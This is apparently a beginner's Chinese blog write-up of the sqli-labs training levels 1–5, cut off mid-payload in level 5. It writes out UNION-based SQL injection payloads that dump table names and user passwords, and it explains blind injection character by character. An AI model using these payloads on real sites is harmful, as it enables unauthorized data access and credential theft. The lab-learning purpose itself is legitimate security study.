这是刚学web的小白,这份解题记录,是在我浅薄的知识基础上进行解题的,其中记录了我解题遇到的问题,想法与步骤。
但是如果您是来学习sql注入的,网上有很多优秀详细的题解,比如上面两篇参考,您一定会学到更多
less1
前几关都比较简单,常规注就行了。
?id=1 有回显
?id=1=2 有回显 说明是字符型注入
?id=’ or 1=1 --+ 闭合单引号 有回显
此时的sql语句是:SELECT * FROM users WHERE id=’’or 1=1–+‘ LIMIT 0,1
查列数
?id=’ order by 4 --+ 报错
?id=’ order by 3 --+ 无报错
所以为三列
看回显位置
?id=’ union select 1,2,3 --+ 显示2,3为回显位
爆数据库名
?id=’ union select 1,database(),3 --+ 得数据库名为security
爆表名
?id=’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = ‘security’ --+ 得表名有emails,referers,uagents,users
爆列名
?id=’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘users’ --+ 此处爆得是表users的列名 id,username,password
爆字段名
?id=’ union select 1,group_concat(password),3 from users --+ 此处查的为username的password字段值
注入结束。
less2
?id=1 有回显
?id=1=2 无回显 说明是数字型型注入
步骤同less1,就是不用闭合单引号了,最后的–+可以不加,数字型注入不用闭合单引号。
less3 (单引号括号闭合)
字符型注入(判断方法相同)
?id=1’
报错 ’) 应该是括号没闭合,看了下源代码,查询语句为
$sql=“SELECT * FROM users WHERE id=(’$id’) LIMIT 0,1”;
所以要闭合单引号括号
查表名的语句为
?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ or ('0
此后步骤同上
less4 (双引号括号闭合)
测试了一下是字符型注入
这道题挺奇怪的,无论是输入什么都是正确的。 “ ?id=1’ order by 4–+”这一句是明显错的却还是可以正常回显,那问题就出在了是否这一句我们认为错误的也是正常的查询字段,那就是说在查询语句看来这一段也是一段正常的字符串,那就是没有闭合的原因了。
试试看括号,双引号什么的,最后当?id=" 时出现了报错如下:
报错"1"")那很明显了
查询语句为
$sql=“SELECT * FROM users WHERE id=(’$id’) LIMIT 0,1”;
闭合双引号括号
?id=") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= ‘security’ or ("0
or ("0可以替换成–+ (–+是将其后面所有的都注释掉)
less5 (初级盲注)
当id=1’时报错为
我去看了下源码 sql查询语句如下
$sql=“SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
当时我很疑惑为什么id两边的单引号变成了双引号而最后的双引号变成了单引号
其实是个挺乌龙的事情,并不是引号之间发生了变化是因为sql显示报错的时候会将报错的语句用单引号括起来所以看起来像是引号之间发生了改变
所以错误的语句应是 ‘1’’ LIMIT 0,1 为了防止报错我们通常在后面加–+注释调后面的单引号,语句会变成select *from user where id=‘1’–+’ LIMIT 0,1 。 我那时想到–+会将后面的双引号和分号一起注释掉,那不是双引号既不闭合,也不符合sql查询语句需要分号结尾的规则了嘛。反正我在mysql里试是肯定不行的,但是这是在php里,php里用的mysql_qurey()查询数据库
查询字符串不应以分号结束,而且双引号是php的双引号,并不是sql语句的双引号。
由此就可以得知是由单引号括起来的字符注入了,测试发现当语句正确会显示
语句错误显示如下
所以如果想要得到数据库名,就一位一位读取,并将转化为ascii进行比较(因为mysql不区分大小写,所以要转换成ascii),如果是正确的就显示you are in,最后读完判断完就有完整的数据库名了,表列字段名都是同样的思路。
解题
有了思路就开始解题吧
?id=1’ and ascii(substr((s